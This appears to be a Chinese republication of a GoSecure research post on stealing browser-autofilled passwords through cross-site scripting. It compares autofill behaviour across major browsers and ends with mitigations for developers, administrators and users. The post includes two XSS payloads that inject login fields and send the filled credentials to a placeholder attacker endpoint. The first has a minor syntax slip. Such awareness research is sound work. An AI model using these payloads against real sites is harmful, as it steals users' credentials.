天天看点

利用XSS漏洞窃取浏览器自动填充的密码

作者:安全小白团

跨站点脚本 (XSS) 是一个众所周知的漏洞,已经存在很长时间,可用于窃取会话、创建虚假登录和执行其他人的操作等。

此外,许多用户没有意识到其浏览器的凭据自动填充功能存在潜在危险。这种攻击方式并不新鲜,但很多人都不知道,随着我们进一步调查,我们发现危险范围很广。在这篇文章中,GoSecure Titan Labs 团队将演示使用具有自动填充功能的浏览器密码管理器在易受 XSS 攻击的 Web 应用程序中来暴露您的凭据。

01 问题

大多数浏览器都添加了一种通常称为“自动填充”的功能,可以简化 Web 应用程序的登录过程。此功能将自动为给定的 Web 应用程序填充您保存的凭据,而无需交互。大多数常用浏览器(如 Firefox、Chrome、Edge、Opera、Internet Explorer)默认启用此功能,有时根本无法禁用。这意味着无法阻止凭据在基于 Chromium 的浏览器(如 Chrome 和 Edge)中自动填充,因为没有禁用它的选项。防止在这些浏览器上自动填充的唯一方法是根本不保存您的凭据。对于那些浏览器来说,这是一种要么全有要么全无的情况。因此,即使您禁用了“提供保存密码”但仍保存了凭据,这些浏览器仍会自动填充。

那么,为什么这是一个问题,它如何被 XSS 攻击窃取?当浏览器在任何时候发现一个类型为“password”的输入标签时,它会自动填充一个密码。因此,对于 XSS 攻击,您可以简单地在页面正文的某处添加一个密码字段,等待浏览器自动填充它,然后获取该字段内的值并将其发送到您的服务器。

当然,上面的技术看起来很容易执行,但它并不那么容易,因为它取决于许多因素,比如受害者是否保存了该网站的凭证、他们使用的浏览器、他们保存了该网站多少凭证以及他们是否启用了自动填充功能。值得注意的是,如果启用了自动填充,密码管理器也可能受到此攻击方式的影响,这在大多数密码管理器上不是默认设置。

此外,这种攻击方式并不新鲜,很容易找到讨论它的博客。目的是让这种攻击方式更加可见,并帮助人们了解使用自动填充的影响,大多数浏览器默认启用自动填充。测试的环境尽可能逼真,这意味着它使用HTTPS协议并具有有效证书。

02 攻击方式

现在,让我们看看通过简单的 XSS 攻击窃取凭据是多么容易。首先,当您在页面的任何位置添加类型为“password”的输入字段(仅使用一组凭据)时,Firefox 的反应如下:

利用XSS漏洞窃取浏览器自动填充的密码

现在假设受害者在 Firefox 上保存了一组凭据,让我们制作一个有效的有效载荷来提取密码。

"><input id="p" type="password" name="password"><script>
    setTimeout(function(){
        new Image().src = "https://my_attacker_endpoint/?pass=" 
                        + document.getElementById('p').value;
    };</script>
<input type="hidden<input type="hidden           

成功获取到凭证

利用XSS漏洞窃取浏览器自动填充的密码

现在,同样的利用,但有两组凭据:

利用XSS漏洞窃取浏览器自动填充的密码

因此,对于 Firefox 上的两组凭据,它不会自动填充任何凭据。Chrome呢?

利用XSS漏洞窃取浏览器自动填充的密码
利用XSS漏洞窃取浏览器自动填充的密码

Chrome 似乎只会前面有用户名字段的情况下填写密码字段,正如您在第一张图片中看到的那样,它没有填写密码字段。请注意,浏览器 Edge 和 Opera 的反应方式与 Chrome 相同。

现在,让我们尝试使用与 Firefox 相同的负载来提取凭据。

利用XSS漏洞窃取浏览器自动填充的密码

如您所见,凭据不可访问,这很奇怪。经过一些研究,我们偶然发现了一篇博文,简而言之,它解释了 Chrome 需要在页面中进行任一交互才能粘贴值。这意味着对于 Chrome 和其他基于相同引擎的浏览器,它需要像点击或按键这样的交互。因此,有效负载需要进行调整,不是使用超时,而是使用某种用户交互。为了简单起见,让我们在body使用“onclick”事件,这样每当受害者点击页面上的链接或鼠标聚焦到某处,有效负载就会执行。

"><input id="u" type="text" name="username"><input id="p" type="password" name="password"><script>
    document.body.onclick = function(e){
        new Image().src = "https://my_attacker_endpoint/?user="
                        +document.getElementById('u').value+"&pass="
                        + document.getElementById('p').value;
        document.body.onclick = function(e){};
    };</script>
<input type="hidden           
利用XSS漏洞窃取浏览器自动填充的密码

这种方式有效。单击页面后,有效负载将执行,并将凭据发送到恶意服务器。就像 Firefox 一样,在 Chrome 中存有多组凭据会是什么情况呢?

利用XSS漏洞窃取浏览器自动填充的密码

Chrome 将字段设置为上次使用的一组凭据。但有可能获得其他组的凭据吗?在Firefox 中会是什么情况? 它会自动填充与上一个字段中的用户名匹配的密码吗?让我们在 Firefox 上试试看:

利用XSS漏洞窃取浏览器自动填充的密码
利用XSS漏洞窃取浏览器自动填充的密码

它确实像我们预期的那样自动填充。Chrome呢?它的情况是否相同?

利用XSS漏洞窃取浏览器自动填充的密码
利用XSS漏洞窃取浏览器自动填充的密码

它依然会自动填充。这意味着如果用户名匹配,则可以枚举所有已保存的凭据。

03 不同浏览器之间的区别

每个浏览器都是不同的,因为它们要么基于不同的引擎,要么在引擎之上提供附加的安全功能以防止自动填充凭据。Brave 是基于 Chromium 的浏览器,但它不会自动填充凭据。

下面的一组图表将通过分析帮助您更好地了解浏览器安全性和自动填充功能。

3.1 Firefox

有禁用自动填充的选项吗? YES
会自动填充吗? YES
是否会在完全匹配时自动填充(一个或多个已保存的凭据)? YES
移动版本以同样的方式做出反应? YES

Firefox 的优点在于您可以禁用自动填充选项并仍然使用密码管理器功能。一旦禁用,它需要一个交互来显示一个弹出窗口,其中包含该来源的匹配凭证集。但是,默认情况下启用此选项。需要注意的是,Tor 浏览器也基于与 Firefox 相同的引擎,但默认情况下不要求保存密码,默认情况下也不会自动填充。此外,手机上的 Tor 浏览器默认具有“要求保存密码”和自动填充功能。然而,根据我们的研究和测试,它不再有效,因为 Tor 总是打开一个隐私窗口,因此不会保留任何信息,也不会要求保存密码。此外,Tor 浏览器有一个额外的保护,可以阻止脚本,除非用户允许。

3.2 基于 Chromium 的浏览器(Chrome、Edge、Opera)

有禁用自动填充的选项吗? NO
会自动填充吗? YES
是否会在完全匹配时自动填充(一个或多个已保存的凭据)? YES
移动版本以同样的方式做出反应(Chrome、Edge)? NO
移动版本以同样的方式做出反应(Opera)? YES

只有 Chrome、Edge 和 Opera 进行了全面测试,但还有其他基于相同引擎的浏览器未进行测试,因为它们未被广泛使用。在这些浏览器中,没有禁用自动填充的选项,即使“提供保存密码”功能被禁用,如果为该来源保存了一组匹配的凭据,它也会自动填充。有趣的是,移动版 Chrome 和 Edge 浏览器的反应方式与桌面版不同。移动版本根本不会自动填充,它们需要交互才能显示包含该来源的匹配凭据集的弹出窗口。

3.3 Brave

有禁用自动填充的选项吗? NO
会自动填充吗? NO
是否会在完全匹配时自动填充(一个或多个已保存的凭据)? NO
移动版本以同样的方式做出反应? YES

Brave 也基于 Chromium,但与其他浏览器的行为方式不同。无论如何,它都不会自动填充,这可以防止此 XSS 攻击向量进行凭据泄露。相反,它需要一个交互来显示一个弹出窗口,其中包含该来源的匹配凭证集。

3.4 Internet Explorer

有禁用自动填充的选项吗? YES
会自动填充吗? YES
是否会在完全匹配时自动填充(一个或多个已保存的凭据)? YES
移动版本以同样的方式做出反应? N/A

Internet Explorer 似乎比大多数基于 Chromium 的浏览器更安全,因为有一个选项可以禁用凭据的自动填充。但是,如果禁用该选项,则无法再使用“保存凭据”功能。默认情况下启用该选项。

3.5 Safari

有禁用自动填充的选项吗? YES
会自动填充吗? NO
是否会在完全匹配时自动填充(一个或多个已保存的凭据)? NO
移动版本以同样的方式做出反应? YES

Safari 确实有禁用自动填充的选项,但它不会以任何方式自动填充。它需要一个交互来显示一个弹出窗口,其中包含该来源的匹配凭证集。

04 缓解

Web开发

这个问题没有真正的解决方案,但您可以采取一些措施来帮助防止跨站点脚本 (XSS)。首先,拥有良好的Content-Security Policy (CSP) header头将极大地帮助防止执行恶意脚本,从而使 XSS 攻击更难被利用。也就是说,CSP 配置仅有助于防止 XSS 攻击,而且有许多已知的绕过方法。其次,确保页面中的数据经过 HTML 编码、验证或清理。

安全管理员

一种解决方案是通过组策略对象 (GPO) 或端点管理器禁用浏览器密码保存。这将阻止用户使用浏览器密码管理器功能保存其凭据。但是,之前添加的每个密码仍将自动填写,具体取决于浏览器以及该功能是否仍处于启用状态。

用户

对于想要使用密码管理器的用户来说,有两种可行的解决方案。第一个也是最好的解决方案是使用真正的密码管理器,例如 KeePass 或类似的商业解决方案,例如 1Password 或 Bitwarden,它们是著名的、经过测试的并且默认情况下没有自动填充功能。确保您的密码管理器不会自动填写凭据,这样它就不会在没有交互的情况下被 XSS 攻击自动获取。第二种解决方案是使用默认情况下不自动填充或允许您禁用已保存密码的自动填充的浏览器。

05 结论

这种攻击方式绝不是新的,但有趣的是看看有多少常用浏览器在默认情况下易受攻击。希望这会提高人们对该问题的认识,并帮助非技术用户改用更好的解决方案,例如密码管理器或更灵活、安全意识强且用户友好的浏览器。如果您想了解更多我们的发现和类似主题,请记得在 Twitter 和 LinkedIn 上关注 GoSecure 以了解最新调查。

特别感谢 Simon Bouchard 的 iOS 和移动测试以及 Lisandro Ubiedo 的 Tor 测试。

参考及来源:

https://www.gosecure.net/blog/2022/06/29/did-you-know-your-browsers-autofill-credentials-could-be-stolen-via-cross-site-scripting-xss/

06 免责声明

安全小白团是帮助用户了解信息安全技术、安全漏洞相关信息的头条号。安全小白团提供的程序(方法)可能带有攻击性,仅供安全研究与教学之用,用户将其信息做其他用途,由用户承担全部法律及连带责任,安全小白团不承担任何法律及连带责任。如有侵权烦请告知,我们会立即删除并致歉。谢谢!

继续阅读